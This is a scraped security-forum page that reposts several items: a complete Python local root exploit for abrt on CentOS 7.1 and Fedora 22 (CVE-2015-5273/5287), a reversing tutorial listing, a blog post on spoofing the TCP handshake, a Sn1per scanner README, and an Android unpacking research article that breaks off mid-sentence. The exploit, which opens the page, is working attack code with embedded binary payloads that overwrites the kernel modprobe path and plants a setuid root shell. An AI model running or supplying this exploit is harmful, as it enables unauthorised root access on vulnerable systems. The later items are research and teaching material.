Nytro

[h=1]Centos 7.1/Fedora 22 - abrt Local Root[/h] #!/usr/bin/python # CVE-2015-5273 + CVE-2015-5287 # CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too) # abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage # rebel 09/2015 # ---------------------------------------- # [user@localhost ~]$ id # uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # [user@localhost ~]$ cat /etc/redhat-release # CentOS Linux release 7.1.1503 (Core) # [user@localhost ~]$ python abrt-centos-fedora.py # -- lots of boring output, might take a while on a slow connection -- # /var/spool/abrt/abrt-hax-coredump created # executing crashing process.. # success # bash-4.2# id # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 import time,os,datetime,sys,resource,socket fedora = "Fedora" in open("/etc/redhat-release").read() # mkdir dir1 # ln -s /var/spool/abrt dir1/hax # mkdir dir2 # mkdir dir2/hax # ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump # cd dir1 # find . -depth -print | cpio -o > ../cpio1 # cd ../dir2 # find . -depth -print | cpio -o > ../cpio2 cpio1 = 'x\x9c;^\xc8\xcc\xa1\xb0\xef\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc\xc8\x02\xa4\xf9\x192\x12+\x18\xf4\xcb\x12\x8b\xf4\x8b\x0b\xf2\xf3s\xf4\x13\x93\x8aJ\x18\x8e\x03U\xb3\xef\xfb\xeb\x08R\xcd\x04U\r\xa2\x19\x18\xf4\x80r\x0cp\xc0\x08\xa5\xb9\xc1dH\x90\xa3\xa7\x8fk\x90\xa2\xa2"\xc3(\x18d\x00\x00\x16\xb9\x1bA'.decode("zip") cpio2 = 'x\x9c;^\xc8\xcc\x917\xfb\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc(\x06\xa4%\x192\x12+\xf4\x13\x93\x8aJt\x81\x0c\xdd\xe4\xfc\xa2\xd4\x94\xd2\xdc\x02\x06\xfd\x82\xa2\xfcd\xfd\xe2\xcab\xfd\xec\xd4\xa2\xbc\xd4\x1c\xfd\xdc\xfc\x14\xa0PR*\xc3q\xa0I\x19\xb3\xff:\x82Lb\x82\x9a\xc4\xc2\x00\x02@\x03\xc0\xb2+\xef@d\x99\xa1\xb2L`Y=\xa0\x1c\x03\x1c0Bin0\x19\x12\xe4\xe8\xe9\xe3\x1a\xa4\xa8\xa8\xc80\nh\x02\x00\x01\x980\x88'.decode("zip") if fedora: cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt") payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" # we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries # and we can't control the contents of that region. on 32 bit binaries [stack] is at the end # the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written # to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp elf = 'x\x9c\xabw\xf5qcddd\x80\x01&\x06f\x06\x10/\xa4\x81\x85\xc3\x84\x01\x01L\x18\x14\x18`\xaa\xe0\xaa\x81j@x1\x90\t\xc2\xac 1\x01\x06\x06\x97F\x1b\x15\xfd\x92\xdc\x82\xd2o\x8dg\xfe\xf3\x03\xf9\xbb\xbe\x00\xb5\xec\x14\x01\xca\xee\xee\x07\xaa\xd7<\xd3\xc5\xdc\xc1\xa2\xe2\xe2\xfc\xe8{\xf3\x1b\x11\xaf\xe6_\x0c\xa5\x8fv8\x02\xc1\xff\x07\xfaP\x00\xd4\xad\x9f\x91X\xa1W\x9c\xc1\xc5\x00\x00-f"X'.decode("zip") # most people don't have nasm installed so i preassembled it # if you're not brave enough to run the preassembled file, here's the code """ ; abrt-hax.asm ; nasm -f bin -o abrt-hax abrt-hax.asm BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: inc esp cmp dword [esp],0x706d742f jne l or esp,0xfff inc esp mov edx,500 l3: mov ecx,msglen mov ebx,message sub esp,ecx l2: mov al,[ebx] mov [esp],al inc esp inc ebx loop l2 sub esp,msglen dec edx cmp edx,0 jne l3 mov eax,0x41414141 jmp eax message db '////////tmp/hax.sh',0x0a,0 msglen equ $-message """ build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1] os.chdir("/tmp") open("build_ids","w+").write(build_id + "\n") print build_id def child(): timestamp = int(time.time()) for i in xrange(0,3): try: t = datetime.datetime.fromtimestamp(timestamp+i) d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid()) os.mkdir(d) os.chmod(d,0777) os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio") print "created %s" % d except: pass os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y") try: os.mkfifo("/var/tmp/haxfifo") os.chmod("/var/tmp/haxfifo",0666) except: pass def fifo(a): print "reading from fifo.." open("/var/tmp/haxfifo").read() print "done" print "writing to fifo.." open("/var/tmp/haxfifo","w+").write(a) print "done" if os.fork() == 0: child() print "first cpio..." fifo(cpio1) os.wait() time.sleep(1) if os.fork() == 0: child() print "second cpio..." fifo(cpio2) os.wait() time.sleep(1) if fedora: sym = "/var/tmp/abrt/abrt-hax-coredump" else: sym = "/var/spool/abrt/abrt-hax-coredump" try: os.lstat(sym) except: print "could not create symlink" sys.exit(-1) print "%s created" % sym open("/tmp/abrt-hax","w+").write(elf) os.chmod("/tmp/abrt-hax",0755) if os.fork() == 0: resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,)) print "executing crashing process.." os.execle("/tmp/abrt-hax","",{}) os.wait() time.sleep(1) if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read(): print "could not modify /proc/sys/kernel/modprobe" sys.exit(-1) open("/tmp/hax.sh","w+").write(payload) os.chmod("/tmp/hax.sh",0755) try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) except: pass time.sleep(0.5) try: os.stat("/tmp/sh") except: print "could not create suid" sys.exit(-1) print "success" os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''') Sursa: https://www.exploit-db.com/exploits/38835/

Lenas Reversing for Newbies [TABLE=class: fborder, width: 960] [TR] [TD=class: fcaption, colspan: 2, align: left]Reversing for Newbies - Complete[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Author[/TD] [TD=class: forumheader3, align: left]Lena[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Author website[/TD] [TD=class: forumheader3, align: left]Forums - Tuts 4 You[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Description[/TD] [TD=class: forumheader3, align: left]You can download the complete series direct from Tuts 4 You if you do not wish to download the files individually. 01. Olly + assembler + patching a basic reverseme 02. Keyfiling the reverseme + assembler 03. Basic nag removal + header problems 04. Basic + aesthetic patching 05. Comparing on changes in cond jumps, animate over/in, breakpoints 06. "The plain stupid patching method", searching for textstrings 07. Intermediate level patching, Kanal in PEiD 08. Debugging with W32Dasm, RVA, VA and offset, using LordPE as a hexeditor 09. Explaining the Visual Basic concept, introduction to SmartCheck and configuration 10. Continued reversing techniques in VB, use of decompilers and a basic anti-anti-trick 11. Intermediate patching using Olly's "pane window" 12. Guiding a program by multiple patching. 13. The use of API's in software, avoiding doublechecking tricks 14. More difficult schemes and an introduction to inline patching 15. How to study behaviour in the code, continued inlining using a pointer 16. Reversing using resources 17. Insights and practice in basic (self)keygenning 18. Diversion code, encryption/decryption, selfmodifying code and polymorphism 19. Debugger detected and anti-anti-techniques 20. Packers and protectors : an introduction 21. Imports rebuilding 22. API Redirection 23. Stolen bytes 24. Patching at runtime using loaders from lena151 original 25. Continued patching at runtime & unpacking armadillo standard protection 26. Machine specific loaders, unpacking & debugging armadillo 27. tElock + advanced patching 28. Bypassing & killing server checks 29. Killing & inlining a more difficult server check 30. SFX, Run Trace & more advanced string searching 31. Delphi in Olly & DeDe 32. Author tricks, HIEW & approaches in inline patching 33. The FPU, integrity checks & loader versus patcher 34. Reversing techniques in packed software & a S&R loader for ASProtect 35. Inlining inside polymorphic code 36. Keygenning 37. In-depth unpacking & anti-anti-debugging a combination packer / protector 38. Unpacking continued & debugger detection by DLL's and TLS 39. Inlining a blowfish scheme in a packed & CRC protected dll + unpacking Asprotect SKE 2.2 40. Obfuscation and algorithm hiding[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Image[/TD] [TD=class: forumheader3, align: left]no image available[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Filesize[/TD] [TD=class: forumheader3, align: left]139.59 MB[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Date[/TD] [TD=class: forumheader3, align: left]Friday 01 September 2006 - 18:14:50[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Downloads[/TD] [TD=class: forumheader3, align: left]280338[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Download[/TD] [TD=class: forumheader3, align: left][/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Rating[/TD] [TD=class: forumheader3, align: left][TABLE=width: 741] [TR] [TD]Not rated[/TD] [TD=align: right][/TD] [/TR] [/TABLE] [/TD] [/TR] [/TABLE] Sursa: https://tuts4you.com/download.php?view.2876

Luc Gommans/ blog Faking the TCP handshake Written on 2015-11-30 To the best of our knowledge, this attack is a new finding. Asking around, people assume the TCP handshake verifies the IP addresses on both sides. This attack shows that this is not actually true. In a collaborative project for the Fontys University of Applied Sciences, Raoul Houkes and I researched different ways to attack TCP, either at implementation or protocol level. What we found was a protocol-level attack, affecting all correct implementations. The TCP handshake works like this, with A being the client that is connecting to B: A: Hi B, I'm A, send number 5. B: Hi A, I'm B, 5, send number 3. A: Hi B, I'm A, 3, send number 6. I'd like example.net. B: Hi A, I'm B, 6, send number 4. Here comes the data: ... After this, A can send data to B and B can send data to A. For each byte of data they send to each other, their numbers increase. This is to keep track of whether all data has been received by the other party, to ensure reliable transmission. When this was designed in 1981, security was no priority. The ARPANET efficiently fit in a single list and they needed a protocol to send data without worrying about retransmitting on errors, checksumming to check for errors, keeping packets in order, etc. TCP solved all of this. These numeric fields, called the 'sequence' and 'acknowledgement' numbers, are currently used for security as well as reliable transmission. This causes two problems: The fields are not particularly large (32 bits). Due to their dual purpose, incorrect numbers have to be discarded without corrupting the connection. In other words, you can send incorrect acknowledgement numbers and subsequent packets with a correct acknowledgement number will be accepted just fine. We combined these two properties into our attack, which would look roughly like this, where A is sending packets to B: A: Hi B, I'm C, send number 5. B: Hi C, I'm B, 5, send number 3. A: Hi B, I'm C, 1, send number 6. I'd like example.net. B: Hi C, I'm B, that's incorrect. Close the connection please. A: Hi B, I'm C, 2, send number 6. I'd like example.net. B: Hi C, I'm B, that's incorrect. Close the connection please. A: Hi B, I'm C, 3, send number 6. I'd like example.net. B: Hi C, I'm B, 6, send number 4. Here comes the data: ... In this example, host A never receives any of B's messages and B does not know that it's responding to a fake IP address. Host A is faking its IP address into C. One prerequisite for the attack is that the real C will not actually send "Huh what is going on"-packets (or RST packets), but that is easy: either take a non-existent C (e.g. 0.0.0.0) or take advantage of firewalls (clients are typically behind a stateful firewall, or NAT, or both). The time B will wait for C (or any other client) to confirm the connection is limited. On a Linux 4.2 kernel I tried this and it turned out to be 20 seconds. After these 20 seconds you need to start over (send another SYN), but this does not make any difference since the chosen numbers are completely random. The cost of the attack? On average it takes 120GB of network traffic (counting 60 bytes for the ethernet header, IP header and TCP header combined) to create a spoofed connection. You could get unlucky and need 200GB of traffic, but it's equally likely to get lucky and only need 72GB. A quick search reveals many VPS systems with 1gbps bandwidth for very little money. If you take full advantage of the available bandwidth, the attack takes 17 minutes and 11 seconds on average. Usually you will want to inject a payload, for example to send a command. This command needs to be appended to the existing data, making the attack larger. For example sending "GET / HTTP/1.0\n\n" takes on average 152GB or 20 minutes. This will show up in the access logs as a perfectly normal connection though. Other examples of this attack include getting around black- or whitelists, for example on management interfaces of certain systems. This was really popular in the 90s, but many are still around and plenty new applications still work this way. Proof of concept What is a research project without a proof of concept? Here are screenshots from Wireshark, a packet dump, and the code that was used. I filtered out the relevant packets, as captured by the target: 192.168.36.17. The first packet is the initial hello, sent by 192.168.36.11, spoofing 192.168.36.18. Our target responds to the fake IP address, and what happens next is that the tool starts guessing the right acknowledgement number. Note the time jump from 0.x seconds to 8.x seconds, here I filtered out a number of attempts. At some point, the number goes from 2^32 (4.x billion) to zero, this is because Wireshark gives us relative numbers. It also means we've found the right number. Relative acknowledgement number 1 is the one we need to have! After receiving that one, the SSH server responds with its banner, as an SSH server always does upon receiving a valid TCP connection. Here is the conversation in some more detail: The random number picked by the server is 0x0006943f (or 431167). At some point, our script comes across 0x00069440 (or 431168), which is the right number because we need to send what we received plus one. In response to that, SSH gives us the banner that is always sent at the beginning of a valid connection. The original packet dump is only 15 seconds long because I captured 15 seconds around the event before rotating logs. Sounds like nothing, but it's 5 544 384 (5.5 million) packets and almost half a gigabyte. If you want to see this, you could just run the attack and see for yourself. The packet dump that is visible above can be downloaded here: spoofed-tcp-connection.pcap And finally, the code that was used to perform the attack can be downloaded here: attack-tcp.py As a true proof of concept, it's specifically written for this purpose and the code is not made to be maintainable Conclusion The attack is difficult to mitigate due to the nature of the TCP protocol. Only wildly incorrect guesses at the acknowledgement number could be rejected as invalid and could be used as a reason to close the connection, but even then that leaves a large enough window to exploit. To authenticate both sides of a connection, additional security such as TLS needs to be used. Even if the certificate is not authenticated, any encrypted TLS session will do because there is additional data that needs to be received by the client. Spoofing becomes infeasible. Lesson of the day: never use IP address-based authentication, don't trust IP address whitelists, and use security protocols when you need security (or non-repudiation). Sursa: http://lgms.nl/blog-2

[h=1] - --=[sn1per v1.4 by 1N3 -- --=[http://crowdshield.com [/h][h=1]Sn1per - Automated Pentest Recon Scanner[/h][h=2]ABOUT:[/h][h=1]Sn1per is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. [/h][h=2]FEATURES:[/h][h=1] Automatically collects basic recon (ie. whois, ping, DNS, etc.) Automatically launches Google hacking queries against a target domain Automatically enumerates open ports Automatically brute forces sub-domains and DNS info Automatically runs targeted nmap scripts against open ports Automatically scans all web applications for common vulnerabilities Automatically brute forces all open services [/h][h=2]INSTALL:[/h][h=1]./install.sh - Installs all dependencies. Best run from Kali Linux. [/h][h=2]USAGE:[/h][h=1]./sn1per <target> [/h][h=2]SAMPLE REPORT:[/h][h=1]https://goo.gl/96LCAg [/h][h=2]CHANGELOG:[/h][h=1] v1.4 - Added Yasou for automatic web form brute forcing v1.4 - Added MassBleed for SSL vulnerability detection v1.4 - Added Breach-Miner for detection of breached accounts v1.4 - Fixed minor errors with nmap v1.4 - Removed debug output from goohak from displaying on console [/h] Sursa: https://github.com/1N3/Sn1per

Linux x86 Program Start Up or - How the heck do we get to main()? by Patrick Horgan Who's this for? This is for people who want to understand how programs get loaded under linux. In particular it talks about dynamically loaded x86 ELF files. The information you learn will let you understand how to debug problems that occur in your program before main starts up. Everything I tell you is true, but some things will be glossed over since they don't take us toward our goal. Further, if you link statically, some of the details will be different. I won't cover that at all. By the time you're done with this though, you'll know enough to figure that out for yourself if you need to. This is what we'll cover (pretty picture brought to you by dot - filter for drawing directed graphs) When we're done, you'll understand this. Articol complet: Linux x86 Program Start Up

A Research on general auto-unpacking methods for Android applications Author: virustracker Time: November 24, 2015 From: http://drops.wooyun.org/tips/9214 This post is the extended version of the article A Research on general auto-unpacking methods for Android applications presented on the Wooyun summit. 0x00 Background & Significance Comparing traditional PC applications, Android applications are easier to reverse, because when the reversing process is done, it will completely recover the Java code or the smali intermediate language of the application. Both have a wealth of high-level semantic information that is easy to understand and expose its program logic to less technical attackers. Therefore, consolidated protection service for Android applications is brought to life. At first, only Party A companies provided such service and nowadays almost every large Internet company has it. Meanwhile, more and more money-related Android apps, such as banking applications are consolidating themselves, which means the market is booming. A typical consolidated protection service can provide following protections: anti – reverse, anti-tampering, anti – debugging, anti – theft and so on. Although it cannot avoid and protect from the security issues or flaws residing in the application itself, it can effectively protect its true logic and integrity. However, these features can be easily leveraged by malware. There is evidence showed that the rate of packed malware is increasing, as consolidating protection is getting popular. On the one hand, malware analysis first requires unpacking. On the other hand, if an application can be easily unpacked and analyzed, the dangers it will face would also rise. 0x01 Research Object Normally a consolidated protection service can provide general consolidation solutions and customized solutions for EDX. Customized consolidation often requires closer integration of development, which may involve deeper levels of consolidation (such as code consolidation). General DEX consolidation only requires users to provide compiled Android APK. Currently, the former lacks samples and needs close cooperation with consolidated protection providers, while the latter is provides as a free service by most providers and is applied more widely because of that. This post will focus on the latter one that provides protection for executable EDX, which is EDX files protection and aims at research on general recovery methods for DEX files. Customized consolidation service or obfuscation protection for native code is not included here. 0x02 the characteristics of consolidation service We’ll detail the common characteristic of consolidation service by using a static reversing consolidation method as an example. A consolidation provider adopted this case several months ago. Because consolidation services frequently change its decryption algorithm and scheme, the implementation details are not applied to current products or other consolidation services. But the overall consolidation concept and protection methods are almost the same. Usually when we use static analysis tools to analyzed a consolidated App, AndroidManifest.xml will save all original information including defined components, permissions and add an entry point, which is often an application, based on that. However, the code of DEX will be like this. DEX code only contains a few classes and codes, which mainly does some detection work or preparation. Then it dynamically loads the original DEX file by loading a native library. On account of the use of dynamic loading mechanism, the consolidated DEX file will not have the real code from the original DEX file (There are some consolidations that don’t dynamically load complete DEX). Next, you can use IDA to get the entry point and load the running native code. Often the so library is obfuscated and packed. The method involves breaking down the ELF header information so that IDA parse will fail, as shown in the figure below: As you can see in readelf, apparently several fields in the ELF header are problematic. After repairmen, IDA will be able to decompile the so files. Next, we’ll start to analyze from the entry point. You will notice there are lots of problems when decompiling F5 to C code. The contents of most functions cannot be decompiled to normal C code. In assembly code, you’ll see the following junk code: We’ve concluded the junk code pattern of this product. It pushes the stack to jump out of the stack so that the decompiled function can identify problems. Because de-compilation often takes a push on the stack as function calling, as a matter of fact, it pushes the stack to compute register values. By pushing and jumping out the stack to fail the de-compilation and find the balance stack, then it executes a really useful instruction. Therefore the above case only has two really useful instructions. The real assembly instruction can be extracted by using a script or manually. After extraction, you can reverse the code and use it to decrypt the JNI_OnLoad function. JNI_OnLoad will decrypt another ELF file from a piece of data, but at present, this ELF file cannot be correctly disassembled. The next code will continue to correct the data of the ELF. It decompresses the text end from the new ELF file and extracts a key from the text end to decrypt the rotext. At last, the real DEX packing application will be decrypted like this: The above process is actually a pack for an ELF file. The newly decrypted and corrected ELF file is the real decryption application for DEX pack. This process is not obfuscated or packed. By reversing, you can see it takes a piece of padding data from the original DEX to get some necessary parameters for decryption and decompression. You can get the real DEX file through decrypting and decompressing the whole padding data. Of course, ELF contains some code for anti-debugging and anti- analysis. As we are conducting static analysis, we’ll ignore this part of code. If you use a debugger to conduct dynamic analysis on additional processes, such as dump, you’ll have to consider how to bypass these anti-debugging techniques. The above case is a dynamic loading DEX instance. Although many consolidation services vary in technical details, including decryption algorithm, junk code patter and ELF pack, it basically can represent how to decrypt and release the most consolidation services that dynamically load DEX, static reversing and the ideas to break it. This case is just a glimpse of it. Because consolidation services also feature that they frequently change its decryption algorithm and consolidation methods. At the same time, there are some consolidation services that don’t use the dynamic loading mechanism of the whole DEX file; instead they use dynamic change in running. Under this mechanism, the consolidated DEX file will contain part of precise information from the original DEX, but the protected code will choose other methods to hide. Other than that, there is a combination of two methods, which will be covered later. To sum up, a consolidated Android application actually is used to hide the real DEX file and it will add protection features to prevent from being reversed. As can be seen, it takes time to reverse its unpacking algorithm by using only static analysis. Besides, different consolidation services use different algorithm and each frequently changes its algorithm and consolidation technique, which makes static reverse unpacking technique will fail in a short period of time. Meanwhile, consolidation services also take other Android application protection measures than dynamic DEX loading. We’ll just talk a little about it here, because this part can be illustrated in a single post. The first class is integrity check. It includes check on the integrity of itself, for instance, examine the test value of a DEX file in the memory and the application certificate to determine if it’s repacked or inserted with code. It also includes check on its environment; for example, by checking certain device files to inspect simulator, by ptrace or process status to determine if it’s debugged, hooked specific function to prevent the code memory from being accessed or dump. The second class is code obfuscation. Normally obfuscation requires modification on source code or byte code. The purpose of this is to make it more difficult for analyst to understand the semantic meaning. Common modifications include changes on variable name, method name or class name and decryptions on constant string. It uses Java reflection mechanism invoke method to insert junk instructions or invalid code in order to disorder application’s control flow. Or it may use more complex operations to replace the original basic instructions to interrupt control flow by using JNI method. We define the third class as anti-analysis or code-behind technique. Its purpose is to use all kinds of methods to avoid the exposure of application code and analysis. The most popular one is the above general encryption protection for DEX and the dynamic auto-modification in running. Dynamic auto-modification is to decrypt and execute code when the application runs to certain class or method. Meanwhile it may correct part of dalvik data structure after dynamic modifications to make it harder for analysis. Some anti-analysis techniques needs a little tricks, for example exploit the bug of static analysis tools, or use analytic features against it, including manifest cheating, APK pseudo encryption, the method hides in DEX file, or insert illegal or non-exist class to crash the analysis tool. 0x03 Thoughts on Unpacking There are currently two types of common unpacking methods against consolidated applications. One is static reversing analysis. The shortage of this method is obvious that is difficult to operate and is not able to handle changes of algorithm. The other is an unpacking method based on memory dump. This method requires you to bypass all anti-debuting methods first and new emerging anti-dumping tricks. For example, changing dex headers avoids enumerating search. Dynamically changing dalvik data structures destroys the DEX files in memory. These techniques require more manual repair work to be done by observing the consolidated features even after you dump the DEX files. Therefore we brought up this general auto-unpacking method, which is based on dynamic analysis. Regardless of different consolidation implementation, this method can avoid any anti-debuting techniques but meanwhile doesn’t need much repair work. First of all, our unpacking object is the DEX file in Android applications, so we choose to directly change the source code of Dalvik in Android for instrumentation. As the DEX file is interpreted on Dalvik, all of its true behaviour can be exposed on Dalvik. Dalvik has multiple interpreting modes, among which there is a C++ based portable mode and some other modes are developed with assembly languages related to the platform. To implement the code of instrumentation, once we find the App to be unpacked is getting interpreted, we first should (the directory of source code-dalvik/vm/interp/Interp.cpp) change the interpreting mode to portable. The benefit of this is to make it harder for detecting the existence of unpacking behaviour by directly changing the execution environment. Compared with methods like attaching to debugger, this method is more transparent. Another advantage of using interpreter is we don’t have to care at which stage the consolidation app will load, initiate and decrypt the code. We can feet the real data and behaviour directly when running. The instrumentation code is implemented at the switch point of each instruction interpreted in Dalvik?dalvik/vm/mterp/out/InterpC-portable.cpp?, thus the unpacking operation can be performed at any instruction during execution, and meanwhile deal with the consolidation app which is decrypted when it’s executed. At last, source code based modification can be applied to actual machines, Android source code can perfectly suit all Nexus cellphones and doesn’t have to confront with the consolidation app’s detecting tricks for simulators. The essence of unpacking is to obtain the actual behaviour of an app, therefore instrumentation is to get the Dalvik data structure in memory to reflect the real code to be executed. When an instruction is executed, it can get the method that this instruction belongs to and Method this structure. While each executed method contains the class object-calzz that this method belongs to and clazz (directory o source code-dalvik/vm/oo/Object.h) contains the pDvmDex?dalvik/vm/DvmDex.h?object among which pDexFile?dalvik/libdex/DexFile.h?structure represents DEX files, that’s to say, after the execution process gets the current method, you can use curMethod?clazz->pDvmDex->pDexFile to get the DEX file structure that this method belongs to. This structure contains the memory information of all DEX file when it’s executed during interpreting. The real DEX can be recovered by parsing this DexFile structure. 0x04 A simple unpacking implementation So far, our first reaction is that if there’s any existing program that can interpret Dalvik byte code but take the DexFile structure that is read into the memory as input and meanwhile directly implement based on source code which is C/C++ implementation, instead read a static DEX file as input like many static reversing tools. We did a search and found that the source code in Android already provides DexDump (dalvik/dexdump/DexDump.cpp). This tool can satisfy this need. We have slightly changed the code of this DexDump and inserted it to the interpreter as follow: Use it to read the DexFile, this code will be executed in the main Activity of an APP by default. The main Activity can be acquired through AndroidManifest.xml, because the entry point class in this file is not hidden. We find this can handle most consolidation apps and get the real code in the DEX file which is hidden by consolidation apps, the output is as follow: But this method has a very obvious disadvantage. The output is in text form for the byte code of Dalvik. One the one hand, it cannot be reversed to Java. On the other hand, text form is not good for next complex analysis. Our best goal is to get a complete DEX file. 0x05 A perfect unpacking implementation Normally at last step, many other unpacking tools will directly read pDexFile?baseAddr??pDvmDex->memMap as starting address to recover the complete DEX file and directly dump the memory of the whole file size. Howver, we find for some consolidation apps, the code dumped in this way still doesn’t contain the real code. This is because part of the real code in the DEX file is modified and mapped to the file out of the continuous memory section in running, as show in the figure below, a DEX file is supposed to be in a continuous memory section when it’s loaded into the memory, then it’s parsed and assigned with values as the structure required by Dalvik for each dynamic execution, but part index structure should point to continuous data block. However, the consolidation app may make some changes, for example, modify the data in header and re-allocate with non-continuous memory to store data and make those index data blocks to point to newly assigned data block. If we directly use dump, then we’ll not be able to get the complete DEX file. We aim to recover the original DEX file in a unified manner and don’t want to perform subsequent repairmen for different shells, because this leads us to the same dilemma as static reversing consolidation algorithm. Therefore, we have an better implementation based on the above simple implementation, which is called DEX file restructuring. The process is quite simple, that is to get all Dalvik data structures required by the interpreter during executing the application, the data structures here are all real and interpreted to execute. Then restructuring these data structures to a new DEX file. As shown in the above figure, even the memory is not continuous, we don’t have to worry its operation on the original mapped memory but we can directly obtain each non-continuous data and recombine these data to a new DEX file according to certain criterion. The first step is to precisely obtain each Dalvik data structure. To ensure accuracy of acquisition, we take the same method as the one the interpreter uses (refer to the dexGetXXXX method in DexFile.h ), because a DEX file or a same data block can be acquired in many ways, for instance, character strings may read the offset in file header to get DEX files or use the stringId table. In normal circumstances, these ways are all correct, but consolidation apps will do some damages. However, it cannot destroy the data used for acquisition in running. Because once the data is broken, the application won’t work. The specific acquiring method is as shown in the figure: We need to walk through some pointers and offsets in every array (eg. pStringIds?pProtoIds?…?pClassDefs) , get each item and combine its contents as a large class (eg. stringData?typeList?…?ClassData?Code). Next, after acquisition, there are several problems to pay attention to during rewriting. First is the arrangement of these captured data, we referenced the order of map item type codes in dalvik/libdex/DexFile.h for arrangement. The arrangement requires to adjust the offset in each item as the new offset, for instance, stringDataOff, parametersOff, interfacesOff, classDataOff, codeOff. Then for values in structures DexHeader and MapList, we’ll calculate and set, instead of taking the original value. For some fixed values, such as the values in header, we meed to set them based on our knowledge. Eventually, we need to consider some data expression in memory and the data format difference in the DEX file, for example, some data items are ULEB128 encoded in the file and int type in memory. Besides, you need to pay attention to the 4-byte aligned and the field_idx_diff in encoded_method_format. https://source.android.com/devices/tech/dalvik/dex-format.html While we restructuring the data, we ignored some blocks, such as all the data structure related to annotation, but its structure is extremely complex. When it’s ignored, it won’t affect the real behaviour of the application. 0x06 Experiment and Discovery After modifying the code, we re-compile the libdvm module and write the newly-generated libdvm.so into system directory /system/lib/ to overwrite the original library file. Our experimental subject are a Galaxy Nexus running Android 4.3 and a Nexus 4 running Android 4.4.2. Then we submit a simple application, send it to every online consolidation service, get the consolidated application and unpack it. The experimental discovery can used on almost every consolidation app to recover the original DEX file. The following are some discoveries about consolidation apps, mainly on different self-protection tricks that are adopted by consolidation apps, here the results are all texts of DexDump. Since some protection measures can use this method to show a lot details, all can be directly recovered to DEX files. The above two cases show that some consolidation apps will remove the magic number to hide the DEX file in memory so that one won’t be able to search any DEX file. Besides,some will modify the size of header and remove all field offsets in the header. Because our method is to recalculate the header, the restructured DEX will not be affected. Other than that, some consolidation apps will insert additional classes to beak normal reversing effects. For example, this class has a way to fail dex2jar. Some pack will change codeOff to a negative value, so that the code will not be mapped into the memory range of the file. Our method can directly get the code and rewrite it to normal position. Some other packs rewrite other methods to put the code into a new method, decrypt it before execution and remove it after execution. For case like that, since our code is instrumented where each method is invoked, all we need is to adjust unpacking point to where the method is executed so that unpacking will recover the code. Except the above case, we find some consolidation app will hook the write function in process space. If it detects the content to write is specific data (eg. dex header), it would fail the write operation. Or it detects it’s getting the memory space in the mapped DEX file section, it would fail the write operation. Some consolidation app will separate the original DEX file to several DEX and modify specific data items like debug_info_off to false value. when running which will be dynamically changed back to the correct value. Some packs will obfuscate code based on original application. (Note: The above cases are not all latest versions. It’s not guaranteed the current consolidation apps will be consistent with the above cases.) 0x07 Discussion and Thought First of all, our method is still limited. On the one hand, as explained in research object, we only protect the encryption of DEX files without de-obfuscation work. Second, our method is still based on dynamic analysis which comes with the limitations of dynamic analysis, for example, a piece of encrypted code is decrypted when running to it, but this method cannot be triggered to execute and our method cannot decrypt the code of this method. At last, although this method is hard to be detected by consolidation apps, the implementation of the tools based on this method will surely be of some features. There features can be leveraged by consolidation app and confront. Finally, I want to discuss with you about better consolidation ideas on Android platform. In fact, it’s relatively easier to break the consolidation on Android Platform, but there are harder and safer consolidation solutions. However inevitably you have to consider the performance and compatibility of the consolidation solution on smartphone platform. Combining these factors, I think the trend and practice of consolidation protection mainly focus on the followings. One is I think Android obfuscation and packing can be combined. From the perspective of an attacker, I think a powerful obfuscation is more effective than packed protection code logic. But it’s very difficult to design a good obfuscation scheme. Currently the domestic consolidation won’t change and obfuscate the original code in fear of the compatibility on changing the code. I think this is a development point. I find that some excellent foreign tools will work on deep obfucation, for example, the dexprotector has packing and obfuscation, even if unpacking is successful, you’ll have to face the obfuscated code which is 